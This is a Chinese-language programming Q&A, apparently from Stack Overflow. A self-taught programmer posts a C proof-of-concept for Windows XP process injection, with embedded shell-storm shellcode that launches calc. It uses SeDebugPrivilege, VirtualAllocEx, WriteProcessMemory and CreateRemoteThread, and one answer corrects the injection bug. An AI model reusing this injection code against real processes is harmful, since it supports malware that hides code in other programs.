Question

这是我的第一个半专业C项目。我是一名自学成才的程序员，所以如果我的代码有任何重大缺陷，或者如果你碰巧有我的任何提示，请指出它们，我非常渴望学习。谢谢。

无论如何，我决定为windows编写一个进程注入器，正如标题所说，我每次尝试将Windows XP SP2 calc注入指定进程时，它都会崩溃。我之所以决定使它成为基于XP的原因是因为这是一个测试版本/ POC /无论如何。

这是因为shellcode仅适用于特定进程吗？我曾尝试过不同的进程，explorer.exe，firefox.exe等。仍然崩溃。哦，我的ASM并不是最好的，所以我从shell-storm中借用了一些shellcode

此外，代码如何看？对于某些psapi / windows参数，我在理解MSDN API时遇到了一些问题。它看起来有点模糊，在我的一些问题上很难在网上找到例子。

#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#define BYTESIZE 100

void ProcessIdentf(DWORD ProcessID);
//Required for Process Handling rights
int SeDebugMode(HANDLE ProcessEnabled, LPCTSTR Base_Name);

int main(void){
    //x86 | Windows XP SP2 | calc.exe call
    //POC data
    unsigned char call_calc[] =
    "\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb"
    "\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78"
    "\x65\x20\x2f\x63\x20\x63\x6d\x64";
    //Process HANDLE && Process Identifier WORD
    HANDLE FfHandle;
    int ProcID;
    //VirtualAllocMemPnter
    LPVOID lpv = NULL;
    //Typecasted pointer to Shellcode
    char* shellptr = call_calc;
    //Handle for CreateRemoteThread function
    HANDLE ControlStructRemote;
    //Number of bytes successfully executed
    SIZE_T bytescom;
    //Data for Process enumeration
    DWORD xyProcesses[1024]; //Max_Proc
    DWORD abProcesses, cntbNeeded;
    unsigned int c;
    printf("POC version x00.\nInjects example x86 shellcode into process.\n");
    SeDebugMode(GetCurrentProcess(), SE_DEBUG_NAME);
    printf("SE_DEBUG_PRIVILEGE successfully enabled.\nPrinting process' eligable for  injection\n");
    Sleep(10000);
    if(!EnumProcesses(xyProcesses, sizeof(xyProcesses), &cntbNeeded)){
        exit(1);
    }
    abProcesses = cntbNeeded / sizeof(DWORD);
    //Enumerate processes owned by current user
    for(c = 0; c &lt; abProcesses; c++){
        if(xyProcesses[c] != 0){
            ProcessIdentf(xyProcesses[c]);
        }
    }
    printf("Process PID required\n");
    scanf("%d", &ProcID);
    FfHandle = OpenProcess(PROCESS_ALL_ACCESS,
    FALSE,
    ProcID);
    lpv = VirtualAllocEx(FfHandle,
    NULL,
    BYTESIZE,
    MEM_COMMIT,
    0x40); //PAGE_EXECUTE_READWRITE
    if(WriteProcessMemory(FfHandle, lpv, &shellptr, sizeof(shellptr), &bytescom) != 0){
        ControlStructRemote = CreateRemoteThread(FfHandle,
        0,
        0,
        (DWORD (__stdcall*) (void*)) shellptr,
        0,
        0,
        0);
        if(ControlStructRemote){
            printf("POC shellcode successful.\n");
        }
        else{
            printf("Failure, CreateRemoteThread could not spawn a remote thread or failed to exec in target process\n");
        }
    }
    return 0;
}

void ProcessIdentf(DWORD ProcID){
    //Enumerates PID and modules. Prints. Implement in loop
    //unicode char, max ntfs datafile
    TCHAR szProcessname[MAX_PATH] = TEXT("&lt;unknown&gt;");
    //open proc handle
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
    FALSE, ProcID);
    //enum modules
    if(NULL != hProcess){
        HMODULE hMod;
        DWORD cbNeed;
        if(EnumProcessModules(hProcess,&hMod, sizeof(hMod),&cbNeed))
        {
            GetModuleBaseName(hProcess, hMod, szProcessname,
            sizeof(szProcessname)/sizeof(TCHAR));
        }
    }
    //print PID
    printf("%s PID: %u\n", szProcessname, ProcID);
    //close processhandle
    CloseHandle(hProcess);
}

int SeDebugMode(HANDLE xyProcess, LPCTSTR DebugPriv){
    HANDLE hTokenProc;
    LUID xDebugVal;
    TOKEN_PRIVILEGES tPriv;
    if(OpenProcessToken(xyProcess,
    TOKEN_ADJUST_PRIVILEGES,
    &hTokenProc)){
        if(LookupPrivilegeValue(NULL, DebugPriv, &xDebugVal)){
            tPriv.PrivilegeCount = 1;
            tPriv.Privileges[0].Luid = xDebugVal;
            tPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hTokenProc,
            FALSE,
            &tPriv,
            sizeof(TOKEN_PRIVILEGES),
            NULL,
            NULL
            );
            if(GetLastError() == ERROR_SUCCESS){
                return TRUE;
            }
        }
    }
    return FALSE;
}

Answer 1

您可以在shellptr创建远程线程，但应该在lpv处编写代码。

BTW，尽量避免使用PROCESS_ALL_ACCESS，只指定您需要的确切访问权限（每个API都在MSDN上）

Windows进程注入崩溃

1 个答案: